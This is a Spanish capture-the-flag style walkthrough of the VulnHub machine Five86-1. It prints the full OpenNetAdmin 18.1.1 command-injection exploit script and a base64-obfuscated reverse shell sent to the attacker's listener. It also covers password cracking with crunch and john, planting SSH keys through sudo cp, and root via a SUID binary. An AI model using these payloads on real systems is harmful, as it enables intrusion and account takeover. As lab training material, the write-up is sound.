Five86-1 - VulnHub
Escaneo basico de puertos por TCP
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# nmap -sS --min-rate 5000 -v -n -Pn --open 192.168.1.139 -oN ports
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 14:45 EST
Initiating ARP Ping Scan at 14:45
Scanning 192.168.1.139 [1 port]
Completed ARP Ping Scan at 14:45, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:45
Scanning 192.168.1.139 [1000 ports]
Discovered open port 80/tcp on 192.168.1.139
Discovered open port 22/tcp on 192.168.1.139
Discovered open port 10000/tcp on 192.168.1.139
Completed SYN Stealth Scan at 14:45, 0.08s elapsed (1000 total ports)
Nmap scan report for 192.168.1.139
Host is up (0.000099s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10000/tcp open snet-sensor-mgmt
MAC Address: 08:00:27:34:7E:BF (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.040KB)
Este escaneo me reporto 3 puertos abiertos: 22,80 y 10000. Dos servidores web y SSH.
Escaneo basico de servicios por TCP
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# nmap -sCV -p22,80,10000 192.168.1.139 -oN services
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 14:46 EST
Nmap scan report for 192.168.1.139
Host is up (0.00022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 69e63cbf72f7a000f9d9f41d68e23cbd (RSA)
| 256 459ec71e9f5bd3cefc1756f2f642abdc (ECDSA)
|_ 256 ae0a9e92645f8620c41144e05832e505 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/ona
10000/tcp open http MiniServ 1.920 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 08:00:27:34:7E:BF (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.54 seconds
Este segundo escaneo de servicios me reporto un /robots.txt y una ruta potencial en este /ona. La version de SSH y apache a priori no eran vulnerables, por lo que decidi acceder al puerto 80.
Nada interesante, una pagina en blanco, procedi a ver el puerto 10000.
Tenia un panel de login a Webmin, probe credenciales basicas: admin,admin y no dieron resultado, sabiendo la versión de este servicio busque vulnerabilidades.
Encontre un exploit de ejecucion remota de comandos sin authenticacion pero no aplicaba.
Segui mi investigacion mirando el robots.txt.
En este se encontraba la ruta reportada anteriormente por nmap, por lo que nada interesante a partir de ahi. Accediendo a la ruta /ona encontre lo siguiente:
Algo interesante que vi es que estamos autenticados como un usuario invitado.
Arriba a la derecha me indicaba de que se estaba tratando este panel, era OpenNetAdmin, un servicio para la gestion de redes. En este punto me interesaba conocer la version del mismo para buscar exploits del mismo.
Se trataba de la version 18.1.1 de este, busque exploits con searchsploit.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# searchsploit opennetadmin
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Encontre 3 exploits, 2 que en teoria aplicaban, uno de Metasploit. Me descargue el script en bash.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# searchsploit -m php/webapps/47691.sh
Exploit: OpenNetAdmin 18.1.1 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/47691
Path: /usr/share/exploitdb/exploits/php/webapps/47691.sh
Codes: N/A
Verified: False
File Type: ASCII text
Copied to: /home/kali/Vulnhub/Five86/47691.sh
El codigo del exploit es el siguiente:
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
La estructura de este exploit es la siguiente:
- Recoge el primer argumento pasado al *exploit* (La URL del servidor) y lo almacena como `URL`
- Inicia un bucle infinito seguido de un *input* que guarda el comando que queremos ejecutar en la variable `cmd`.
- Envia una peticion preparada y filtra el output del comando introducido anteriormente mediante expresiones regulares.
Si probamos a ejecutar el comando de curl
sustituyendo URL
y cmd
veremos que conseguimos ejecucion remota de comandos, en este caso somos el usuario www-data.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";whoami;echo \"END\"&xajaxargs[]=ping" "http://192.168.1.139/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
www-data
Entonces probe a conseguir un shell inverso y me causo problemas, asi que la manera que me sirvio es la siguiente. Lo primero que hice fue codificar en base64 el codigo que iba a hacer que la maquina se conectase a mi.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# echo "sh -i >& /dev/tcp/192.168.1.136/443 0>&1" | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEzNi80NDMgMD4mMQo=
Y ahora simplemente decodifique la cadena en Base64 y pipeé el resultado con bash.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEzNi80NDMgMD4mMQo= | base64 -d | bash; id;echo \"END\"&xajaxargs[]=ping" "http://192.168.1.139/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
Ejecute el comando y gane acceso como www-data
.
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.136] from (UNKNOWN) [192.168.1.139] 37480
sh: 0: can't access tty; job control turned off
$ whoami
www-data
Hice un tratamiento de la TTY para tener un mayor comodidad de esta.
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@five86-1:/opt/ona/www$ ^Z
zsh: suspended nc -lvnp 443
┌──(root㉿kali)-[/home/kali]
└─# stty raw -echo; fg
[1] + continued nc -lvnp 443
reset
reset: unknown terminal type unknown
Terminal type? xterm
También tuve que cambiar las filas y columnas que tenia esta, en mi maquina tenia 17 y 157.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# stty size
17 157a
Y en la maquina victima 24 y 80.
www-data@five86-1:/opt/ona/www$ export TERM=xterm
www-data@five86-1:/opt/ona/www$ export SHELL=bash
www-data@five86-1:/opt/ona/www$ stty size
24 80
www-data@five86-1:/opt/ona/www$ stty rows 17 columns 157
Vi que archivos habian en el directorio actual pero nada interesante.
www-data@five86-1:/opt/ona/www$ ls
config config_dnld.php dcm.php images include index.php local login.php logout.php modules plugins winc workspace_plugins
www-data@five86-1:/opt/ona/www$
Tras una pequeña investigacion encontre un .htpasswd en /var/www/ sobre el que tenia permisos de lectura.
www-data@five86-1:/var/www$ ls
html
www-data@five86-1:/var/www$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Jan 1 2020 .
drwxr-xr-x 14 root root 4096 Jan 1 2020 ..
-rw-r--r-- 1 root root 202 Jan 1 2020 .htpasswd
drwxr-xr-x 3 root root 4096 Jan 1 2020 html
www-data@five86-1:/var/www$
Su contenido era el siguiente:
www-data@five86-1:/var/www$ cat .htpasswd
douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1
# To make things slightly less painful (a standard dictionary will likely fail),
# use the following character set for this 10 character password: aefhrt
Había un nombre de usuario y un hash. También se encontraba un mensaje que decía que un diccionario convencional como rockyou.txt fallaría en el intento de crackear este hash y que podría usar los caracteres aefhrt con un patron de contraseña de diez caracteres para crackearlo. Básicamente lo que tenia que hacer era generar un diccionario de credenciales con un patrón de 10 caracteres que contengan explícitamente esos caracteres.
Lo que hice fue ejecutar crunch especificandole el minimo y maximo de los caracteres requeridos seguido de la cadena proporcionada por el .htpasswd. Finalmente exporte el resultado al archivo pass.txt.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# crunch 10 10 aefhrt -o pass.txt
Crunch will now generate the following amount of data: 665127936 bytes
634 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 60466176
crunch: 100% completed generating output
Una vez generado el diccionario me di cuente que era mucho mas grande que rockyou.txt.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# wc -l pass.txt
60466176 pass.txt
Este tardaria mucho en completarse. Lo que hice fue hacerlo mas corto, ya que el comando de crunch que use genero credenciales que contienen alguno de los caracteres que especifique, no todos. Asi que aplique la siguiente expresion regular para que filtre por todas las credenciales que contengan aefhrt.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# awk '/a/&&/e/&&/f/&&/h/&&/r/&&/t/' pass.txt > pass_final.txt
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# wc -l pass_final.txt
16435440 pass_final.txt
Ahora ya tiene muchas menos credenciales, inicie el ataque con john
.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# john --wordlist=pass_final.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
fatherrrrr (douglas)
1g 0:00:00:23 DONE (2023-03-08 15:27) 0.04295g/s 254251p/s 254251c/s 254251C/s fatherrhaf..fatherttae
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Bien, me consiguio crackear la contraseña: fatherrrrr. Me di cuenta que douglas era un usuario operativo en el sistema, por lo que probe a autenticarme con esta credencial y funciono.
www-data@five86-1:/var/www$ su douglas
Password:
douglas@five86-1:/var/www$ whoami
douglas
Siendo douglas busque todos los archivos y directorios desde la raiz en los que yo fuera propietario y elimine las cadenas proc y sys que se obtengan en el output del comando, pero no encontre nada interesante.
douglas@five86-1:/var/www$ find / -user douglas 2>/dev/null | grep -vE 'proc|sys'
/run/user/1005
/home/douglas
/home/douglas/.ssh
/home/douglas/.ssh/id_rsa.pub
/home/douglas/.ssh/id_rsa
/home/douglas/.bash_history
/home/douglas/.local
/home/douglas/.local/share
/home/douglas/.local/share/nano
Me di cuenta que podía ejecutar /bin/cp
como el usuario Jen.
douglas@five86-1:~$ sudo -l
Matching Defaults entries for douglas on five86-1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User douglas may run the following commands on five86-1:
(jen) NOPASSWD: /bin/cp
Hay dos maneras de intentar escalar en este punto aprovechando la naturalidad de SSH:
- Copiar la clave privada (si tenia) del usuario jen a /tmp e intentar acceder mediante SSH usando esta como clave de identidad (si no estaba encriptada).
- Copiar mi clave publica y almacenarla como authorized_keys en el directorio .ssh de jen para acceder por SSH sin credenciales.
En este caso en concreto utilice la segunda opcion, el usuario jen no tenia una id_rsa en /home/jen/.ssh/jen.
┌──(root㉿kali)-[~/.ssh]
└─# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOemMao95qmTqEbnpcgdykoWnGz4UQvtp0pJZ7bCCA/xJ+QLc0LNDlGcEZ9ldlVY12RZVywrdq407MnkrRf+BQ6WvBXVFm+mAkLrtuJuvBQDdeaSRx3qs4woRj1PScD/7886OOXuPao8dJTreBI5hgE2ZAzgJMmO+uwCBF1wJQlI2RgrGzrS2XSjasrY+PwSti/DT/UjlQdrtWlytQua38t4+cRoOvhe2G1nktInYeq0cQtjqm8t5WM7r0FCAvh4DY3nGEtaCS82YRTVhAEHQXgPPwL19Y2EEKWttx4RvtKaHry2ncjgJUOcSNLoLZffNCpyF4cm2+Bcm0Da5Jr9x4UW0dlX6oShtm3+AMTJ5VDJ+L+vVPp90aRdvReMEL4zvqB3775CL4B3Jg49KqmXbLfbTKWwdSKMQHJNGGUj4PUTjUvbkAhi6lqqGS4x81xHOfOH9DDV1aY28pojxF2iD6bBhWBoqdYdRrQ1eyIo/uyEi3UM1Wbzzdk7sdpxVmXmU= root@kali
Una vez tenia mi clave publica en /tmp como authorized_keys la copie a /home/jen/.ssh/authorized_keys como el usuario jen.
douglas@five86-1:/tmp$ ls
authorized_keys tmp.z1IYvnHLGU
douglas@five86-1:/tmp$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOemMao95qmTqEbnpcgdykoWnGz4UQvtp0pJZ7bCCA/xJ+QLc0LNDlGcEZ9ldlVY12RZVywrdq407MnkrRf+BQ6WvBXVFm+mAkLrtuJuvBQDdeaSRx3qs4woRj1PScD/7886OOXuPao8dJTreBI5hgE2ZAzgJMmO+uwCBF1wJQlI2RgrGzrS2XSjasrY+PwSti/DT/UjlQdrtWlytQua38t4+cRoOvhe2G1nktInYeq0cQtjqm8t5WM7r0FCAvh4DY3nGEtaCS82YRTVhAEHQXgPPwL19Y2EEKWttx4RvtKaHry2ncjgJUOcSNLoLZffNCpyF4cm2+Bcm0Da5Jr9x4UW0dlX6oShtm3+AMTJ5VDJ+L+vVPp90aRdvReMEL4zvqB3775CL4B3Jg49KqmXbLfbTKWwdSKMQHJNGGUj4PUTjUvbkAhi6lqqGS4x81xHOfOH9DDV1aY28pojxF2iD6bBhWBoqdYdRrQ1eyIo/uyEi3UM1Wbzzdk7sdpxVmXmU= root@kali
douglas@five86-1:/tmp$ sudo -u jen /bin/cp authorized_keys /home/jen/.ssh/authorized_keys
Ahora simplemente me loguee por SSH sin credenciales como el usuario jen.
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# ssh jen@192.168.1.139
Linux five86-1 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Tue Mar 7 19:21:42 2023 from 192.168.1.136
jen@five86-1:~$
De nuevo hice otra busqueda de todos los archivos y directorios en los que jen era propietario eliminando las cadenas proc y sys.
jen@five86-1:~$ find / -user jen 2>/dev/null | grep -vE "proc|sys"
/run/user/1003
/var/mail/jen
/dev/pts/1
/home/jen
/home/jen/.ssh
/home/jen/.ssh/authorized_keys
/home/jen/reports
/home/jen/reports/Audit.txt
/home/jen/reports/IT_Budget.txt
/home/jen/.bash_history
En este caso si encontré una ruta que me intereso: /var/mail/jen. Era un email de roy a jen avisándole de que la contraseña de Moss (usuario del sistema) era Fire!Fire!.
jen@five86-1:~$ cat /var/mail/jen
From roy@five86-1 Wed Jan 01 03:17:00 2020
Return-path: <roy@five86-1>
Envelope-to: jen@five86-1
Delivery-date: Wed, 01 Jan 2020 03:17:00 -0500
Received: from roy by five86-1 with local (Exim 4.92)
(envelope-from <roy@five86-1>)
id 1imZBc-0001FU-El
for jen@five86-1; Wed, 01 Jan 2020 03:17:00 -0500
To: jen@five86-1
Subject: Monday Moss
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1imZBc-0001FU-El@five86-1>
From: Roy Trenneman <roy@five86-1>
Date: Wed, 01 Jan 2020 03:17:00 -0500
Hi Jen,
As you know, I'll be on the "customer service" course on Monday due to that incident on Level 4 with the accounts people.
But anyway, I had to change Moss's password earlier today, so when Moss is back on Monday morning, can you let him know that his password is now Fire!Fire!
Moss will understand (ha ha ha ha).
Tanks,
Roy
Probé a autenticarme con esa credencial al usuario Moss y fue satisfactorio.
jen@five86-1:~$ ls /home
douglas jen moss richmond roy
jen@five86-1:~$ su moss
Password:
moss@five86-1:/home/jen$ whoami
moss
moss@five86-1:/home/jen$
Siendo Moss busque todos los binario que esten corriendo como SUID y encontre un supuesto “juego”.
moss@five86-1:~$ find / -perm -4755 2>/dev/null
/var/games/animals
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/su
/usr/bin/umount
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4
/home/moss/.games/upyourgame
Lo ejecute, respondi a 5 preguntas con “yes” y automaticamente gane acceso como root 😞 . Parecia broma pero si me convertir en root.
moss@five86-1:/var/games/animals$ /home/moss/.games/upyourgame
Would you like to play a game? yes
Could you please repeat that? yes
Nope, you'll need to enter that again. yes
You entered: No. Is this correct? yes
We appear to have a problem? Do we have a problem? yes
Made in Britain.
# whoami
root
#
Analice el codigo del binario mas en profundidad en Ghidra y hacia lo siguiente:
Simplemente hace las preguntas y lee la entrada del usuario en las variables correspondientes, al final del programa cambia el UID a 0 (root) y spawnea una /bin/sh
.
Leave a comment